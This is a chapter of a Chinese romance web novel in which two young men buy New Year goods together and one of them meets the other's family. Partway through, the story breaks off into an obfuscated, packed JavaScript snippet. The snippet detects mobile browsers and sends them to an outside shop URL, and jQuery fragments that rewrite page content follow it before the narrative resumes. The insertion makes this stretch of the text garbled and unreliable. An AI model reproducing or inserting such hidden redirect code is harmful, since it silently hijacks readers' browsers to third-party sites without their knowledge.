腊月二十五，距离除夕还有五天。
周浩早上六点就醒了，躺在床上翻来覆去睡不着。他拿起手机看了一眼——六点零三分。
又看了一眼——六点零五分。
再看一眼——六点零八分。
他放弃了，坐起来，给林屿发消息。
【浩】：醒了吗？
等了五分钟，没回。
他盯着屏幕，心想林屿肯定还在睡。学霸也放假，学霸也赖床。
他躺回去，又翻了两圈。
手机震了。
【屿】：嗯。
【屿】：你起这么早？
周浩立刻坐起来，打字飞快：
【浩】：睡不着！
【浩】：今天不是去买年货吗！
【浩】：我第一次去你家过年！！！
【浩】：紧张！！！
他一连发了四条，发完才觉得有点傻。
林屿回得慢条斯理：
【屿】：紧张什么？
【屿】：我家又没老虎。
【浩】：有岳父岳母啊！！！
【屿】：…………
【屿】：周浩。
【屿】：谁是岳父岳母？
周浩盯着屏幕，突然意识到自己说漏嘴了。
他赶紧打字：
【浩】：口误口误！
【浩】：叔叔阿姨！叔叔阿姨！
林屿这次回得更慢。
【屿】：嗯。
【屿】：再睡会儿。
【屿】：九点来接你。
周浩看着“九点来接你”五个字，嘴角压都压不住。
他把手机贴在胸口，躺平，盯着天花板。
九点。还有三个小时。
他闭上眼，强迫自己睡。
三秒后，又睁开眼。
算了，睡不着。
周浩九点整准时出现在小区门口。
他穿了一件红色卫衣，帽子上有个蠢兮兮的毛球，配黑色工装裤和白色运动鞋。头发特意抓了两下，喷了发胶，闻起来一股子橘子味。
林屿站在路边等他。
今天林屿穿了一件深灰色大衣，里面是黑色高领毛衣，围着条米白色围巾。他站在那儿，单手插兜，另一只手拎着个帆布袋，像从什么杂志封面走下来的。
周浩跑过去，在他面前站定。
“等很久了吗？”
“刚到。”林屿看着他，“你换衣服了？”
周浩愣了一下：“你怎么知道？”
“早上发消息的时候，”林屿说，“你说你在挑衣服。”
周浩脸红了：“那、那还不让换了……”
“让。”林屿说，“这件好看。”
周浩心跳漏了一拍。
“比昨天那件好看。”
“你昨天又没看见我穿什么——”
“视频的时候。”林屿打断他，“你穿那件灰色卫衣。”
周浩愣住了。
前天晚上他们视频了四十分钟。他说了一堆有的没的，林屿大多数时候只是听着，偶尔回一句“嗯”。
他以为林屿没在看他。
“所以，”林屿看着他，“这件确实好看。”
周浩站在原地，耳尖红透了。
“走、走吧。”他低头，去牵林屿的手，“买年货去。”
林屿没说话，但反手扣紧了他的手指。
年货市场在东三环的批发市场旁边，每年腊月二十三开市，一直卖到除夕下午。这会儿人已经很多了，到处都是拎着大包小包的人。
周浩第一次来这种地方，眼睛都不够用了。
“哇——”他看着满街的红灯笼，“好多人！”
“嗯。”
“那边有卖对联的！”
“嗯。”
“还有干果！糖炒栗子！”
“嗯。”
周浩转过头，看林屿：“你怎么就‘嗯嗯嗯’的，不激动吗？”
林屿看着他。
“激动。”他说。
“哪儿激动了？”
“看你激动，”林屿说，“就够了。”
周浩被噎住了。
他张了张嘴，想反驳，但找不到词。
最后他只能别开脸，假装专注地看旁边的春联摊。
但耳尖红得能滴血。
春联摊是个老大爷支的，摆了满满一地。红底金字，红底黑字，洒金的，暗纹的，应有尽有。
“周浩。”林屿叫他。
“嗯？”
“你家门口多宽？”
周浩愣了一下：“干嘛？”
“买对联。”林屿说，“要量尺寸。”
周浩想了想：“好像……一米二？”
“一般都是一米二。”老大爷插嘴，“正常住宅门都这个尺寸。”
他指着地上的对联：“一米二的在这儿，自己挑。”
周浩蹲下来，一张张翻。
“这个好！”他拿起一张，“‘财源广进’！”
林屿看了一眼：“太俗。”
“那这个呢？‘福满人间’！”
“普通。”
“这个这个——‘金玉满堂’！”
“跟你家有关系吗？”
周浩被噎得没话说。他把那张放下，继续翻。
翻了半天，最后拿起一张：“‘一年好景同春到，四季财源顺时来’——这个呢？”
林屿接过来看了看。
“可以。”他说。
周浩眼睛亮了：“真的？”
“嗯。对仗工整，寓意也好。”
周浩立刻把那副对联举起来，对老大爷说：“大爷，这个我要了！”
老大爷笑呵呵地接过去：“小伙子有眼光，这个写得好。还要别的吗？福字要吗？”
“福字——”周浩看向林屿。
林屿已经蹲在那儿挑了。
他选了三张福字，都是正红的底子，烫金大字。其中一张边缘有缠枝花纹，很精致。
“这张好看。”他说。
周浩凑过去看：“那我也要这张！”
林屿看了他一眼。
“你家不是也买了吗？”
“那不一样。”周浩理直气壮，“你家的和我家的，能一样吗？”
林屿没说话，但把那张福字叠好，放进袋子里。
周浩又挑了两个窗花——一对红色的锦鲤。他举着问林屿：“可爱吗？”
林屿看了眼那对胖乎乎的鱼。
“嗯。”
周浩喜滋滋地放进袋子。
买完对联福字，两人继续往里走。
干果摊前人山人海。周浩挤进去，又被挤出来。再挤进去，又被挤出来。
林屿站在外面看着他，嘴角微微弯着。
“林屿！”周浩隔着人群喊他，“你想吃什么？！”
“随便。”
“随便是什么？！”
“你挑你爱吃的。”
周浩愣了一下，然后笑了。
他又挤进去，这次终于挤到了柜台前。
二十分钟后，他拎着大包小包挤出来。袋子鼓鼓囊囊，装着瓜子、花生、开心果、巴旦木，还有一袋他最爱吃的糖霜山楂。
“太多了。”林屿说。
“不多不多！”周浩把袋子往他手里塞，“过年嘛，吃得多！”
林屿接过袋子。
他低头看了一眼——糖霜山楂在最上面，被周浩特意放在显眼的位置。
他默默把那袋山楂往里挪了挪，怕被人撞到。
逛到糖果摊，周浩走不动了。
满摊的大白兔、奶糖、牛轧糖、巧克力，花花绿绿堆成小山。
“林屿，”他扯了扯林屿的袖子，“我能买点糖吗？”
林屿看了他一眼。
“你牙不是疼过吗？”
周浩心虚地缩了缩脖子：“那、那是上个月……”
“上周。”
“……上周你也知道？”
林屿没说话，但眼神说明了一切。
周浩败下阵来。
“那就买一点点……”他小声说，“过年吃……”
林屿看着他。
周浩的眼睛亮晶晶的，里面全是对糖的渴望。
林屿沉默了三秒。
“半斤。”他说。
周浩眼睛更亮了：“真的？！”
“不能再多。”
“好好好！半斤就半斤！”
周浩冲到摊前，对老板喊：“老板，称半斤大白兔！要最甜的那种！”
林屿站在后面，看着他的背影。
嘴角微微弯着。
买完糖，周浩心满意足。他一边走一边剥了一颗大白兔塞进嘴里，腮帮子鼓鼓的。
“林屿，你也吃。”
他把糖递到林屿嘴边。
林屿低头，张嘴含住。
“甜吗？”周浩问。
林屿嚼了嚼。
“嗯。”
“嘿嘿。”周浩笑得眯起眼，“我挑的。”
两人继续往里逛。
周浩忽然看见一个摊子，卖的全是红色的东西。红袜子、红内裤、红秋衣秋裤，堆得满坑满谷。
他停住脚步。
“林屿。”
“嗯。”
“本命年是不是要穿红色？”
林屿愣了一下：“你本命年？”
“不是。”周浩指着那堆红衣服，“就是……随便问问。”
林屿看着他。
周浩被他看得心虚，移开视线。
“走、走吧，去那边看看——”
“周浩。”林屿叫住他。
周浩停住。
“你在想什么？”
“没、没什么……”
“你想给我买？”
周浩僵住了。
林屿看着他，忽然笑了。
“周浩。”
“嗯……”
“明年是我本命年。”
周浩瞪大眼睛：“真的？！”
“嗯。”
“那、那得穿红色啊！”周浩立刻往摊子那边走，“得买！买全套！”
林屿拉住他。
“不急。”
“怎么不急！马上就到了！”
“下个月才过年。”林屿说，“现在买了，到时候找不到放哪儿了。”
周浩想了想，觉得有道理。
“那过了年再买？”
“嗯。”
周浩这才罢休。他回头又看了一眼那堆红衣服，小声嘀咕：“得买最红的……”
林屿听见了。
他没说话，只是握紧了周浩的手。
逛到中午，两人都饿了。
市场旁边有家面馆，门面不大，人挤得满满当当。周浩站在门口看了一眼，咽了口口水。
“林屿，我想吃那个。”
林屿顺着他的视线看过去——招牌上写着“老北京炸酱面”。
“走。”
两人挤进去，在角落找到两个位置。周浩点了两碗炸酱面，又加了一盘拍黄瓜。
等面的功夫，他托着腮看林屿。
“林屿。”
“嗯。”
“你今天开心吗？”
林屿抬眼看他。
“你呢？”
“我开心啊！”周浩说，“特别开心！第一次跟你逛年货市场！”
林屿看着他。
“我也是。”
周浩愣了一下：“你也是什么？”
“也是第一次。”林屿说。
周浩张了张嘴，忽然不知道该说什么了。
林屿第一次逛年货市场。
和他一起。
这个认知让他心里软成一团。
“那、那以后每年都来！”他说，“每年都来！”
林屿看着他，轻轻“嗯”了一声。
面端上来了，热腾腾的两大碗。周浩埋头吃，吃了一半，忽然想起什么。
“林屿，你家过年有什么规矩吗？”
林屿筷子顿了一下。
“什么规矩？”
“就……”周浩斟酌着词句，“比如说什么不能做，什么一定要做之类的。”
林屿想了想。
“三十晚上守岁。”
“嗯嗯。”
“初一早上吃饺子。”
“嗯嗯。”
“初一不能扫地，不能倒垃圾。”
“嗯嗯。”
“初二回娘家——这条我们家不适用。”
周浩听得认真，恨不得掏出小本本记下来。
林屿看着他那个认真的样子，忽然说：“你不用紧张。”
周浩抬起头。
“我家没那么多规矩。”林屿说，“我妈做饭好吃，我爸话少，我弟可能有点吵。”
他顿了顿。
“但他们都会喜欢你。”
周浩愣住了。
“你怎么知道？”
“因为……”林屿看着他，“我喜欢你。”
周浩心跳漏了一拍。
“他们就会喜欢你。”
周浩看着林屿，觉得眼眶有点酸。
他低头，继续吃面。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271923|198139||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吃了两口，闷闷地说：“林屿。”
“嗯。”
“你说话怎么总这样。”
“哪样？”
“就是……”周浩抬起头，“就是让人想哭。”
林屿看着他。
“那我以后少说。”
“别！”周浩急了，“多说！天天说！”
林屿笑了。
“好。”
吃完饭，两人继续逛。
下午两点多，该买的都买得差不多了。对联、福字、窗花、干果、糖果、还有一堆杂七杂八的年货，把林屿带的帆布袋塞得鼓鼓囊囊。
周浩手里还拎着个袋子——里面是他给自己买的东西。
两双红袜子。一对红窗花。一袋糖霜山楂。还有一张福字，跟林屿那张一模一样。
“回吧。”林屿说。
“嗯。”
两人往停车场走。周浩走着走着，忽然停住。
“林屿。”
“嗯？”
“那个……”周浩指了指旁边的摊位，“我想买个那个。”
林屿顺着他的视线看过去。
是卖灯笼的。红彤彤的圆形灯笼，大大小小挂了一排。
“买灯笼干什么？”
“挂阳台上。”周浩说，“好看。”
林屿看了眼价格——小号三十五，大号五十。
“买哪个？”
周浩挑了最小的那个。
“这个。”
林屿看了他一眼。
“为什么买最小的？”
“省点钱。”周浩挠头，“还得给你买本命年红衣服呢。”
林屿愣住了。
他看着周浩，看了很久。
周浩被他看得心里发毛：“怎、怎么了……”
林屿没说话。
他掏出钱包，拿了一张一百的给老板。
“那个最大的。”他说。
周浩瞪大眼睛：“不用！我那个就行——”
“最大的。”林屿重复，“挂阳台上，亮。”
周浩张了张嘴，没说出话。
老板笑呵呵地把最大的那个灯笼取下来，包好递过来。
林屿接过灯笼，塞进周浩手里。
“走吧。”
周浩抱着那个红彤彤的大灯笼，站在原地。
林屿走了两步，回头看他。
“不走？”
周浩回过神，快步追上去。
“走、走！”
他把灯笼抱在怀里，红光照在他脸上，也照进他眼睛里。
“林屿。”他小声说。
“嗯。”
“这个灯笼……我过年每天都会点。”
林屿没说话。
“你来我家就能看见了。”
林屿脚步顿了一下。
然后他继续走。
“……嗯。”
傍晚五点，两人回到林屿家门口。
周浩把东西放下，站在门口往里张望。
林屿看了他一眼。
“进来坐坐？”
周浩心跳加速。
“方便吗？”
“方便。”
门开了。屋里飘出饭菜的香气，还有电视机的声音。
“妈。”林屿喊了一声，“我回来了。”
“回来啦？”厨房里传来声音，“正好，饭快好了——这位是？”
林屿的妈妈从厨房探出头，看见周浩，愣了一下。
“阿姨好！”周浩立刻鞠躬，动作标准得像军训汇报表演，“我是周浩！林屿的同学！”
林妈妈看着他，笑了。
“哦——周浩啊，林屿老提起你。”
周浩愣住了。
老提起？
林屿？
他看向林屿。
林屿面无表情地换鞋，但耳尖红了一点。
“进来坐吧。”林妈妈说，“正好吃饭，添双筷子。”
周浩受宠若惊：“这、这太麻烦了……”
“不麻烦不麻烦。”林妈妈已经回厨房忙去了，“林屿，给你同学倒水。”
周浩站在玄关，手足无措。
林屿递给他一双拖鞋。
“换鞋。”
“哦哦。”
他换好鞋，走进客厅。
客厅不大，收拾得很干净。茶几上摆着果盘，电视里放着新闻。阳台上挂着刚洗的衣服，空气里有洗衣液的清香。
林屿的弟弟林峰坐在沙发上打游戏，看见周浩，眼睛一亮。
“浩哥！你来啦！”
“啊，小峰，腿好了吗？”
“好了好了！”林峰拍了拍自己的腿，“早就好了！哥，浩哥是来咱家过年的吗？”
林屿看了他一眼。
“不是。”
“那来干嘛的？”
“送年货。”
林峰看看周浩手里的年货袋子，又看看他哥，表情微妙。
“哦——”他拉长声音，“送年货啊。”
周浩总觉得他这个“哦”意味深长。
厨房里传来炒菜的声音。林爸爸从卧室出来，看见周浩，点点头：“来了？”
“叔叔好！”周浩又鞠躬。
“坐吧，别客气。”林爸爸在沙发上坐下，拿起遥控器换台。
周浩在沙发上坐下，手都不知道往哪儿放。
林屿在他旁边坐下，很自然地递给他一杯水。
周浩接过来，喝了一口。
林峰在对面看着他俩，嘴角挂着意味深长的笑。
周浩被他看得心里发毛，小声问林屿：“你弟笑什么？”
林屿看了一眼林峰。
“没什么。”
“肯定有什么……”
“周浩。”林屿忽然说。
“嗯？”
“留下来吃饭。”
周浩愣住了。
“我妈做饭挺好吃的。”
周浩看着他。
林屿的侧脸被电视光映得明明暗暗，看不出表情。
但他的手，在周浩手背上轻轻碰了一下。
周浩心跳漏了一拍。
“……好。”
厨房里飘出红烧肉的香味。
窗外，腊月的天黑得早，五点多已经亮起了路灯。
电视里在放新闻联播的前奏曲。
林峰低头打游戏，但嘴角一直弯着。
林爸爸专注地看电视，但余光偶尔会扫过来。
林屿的手，还轻轻覆在周浩手背上。
周浩觉得，这是他这辈子吃过最香的饭。
还没吃，就香了。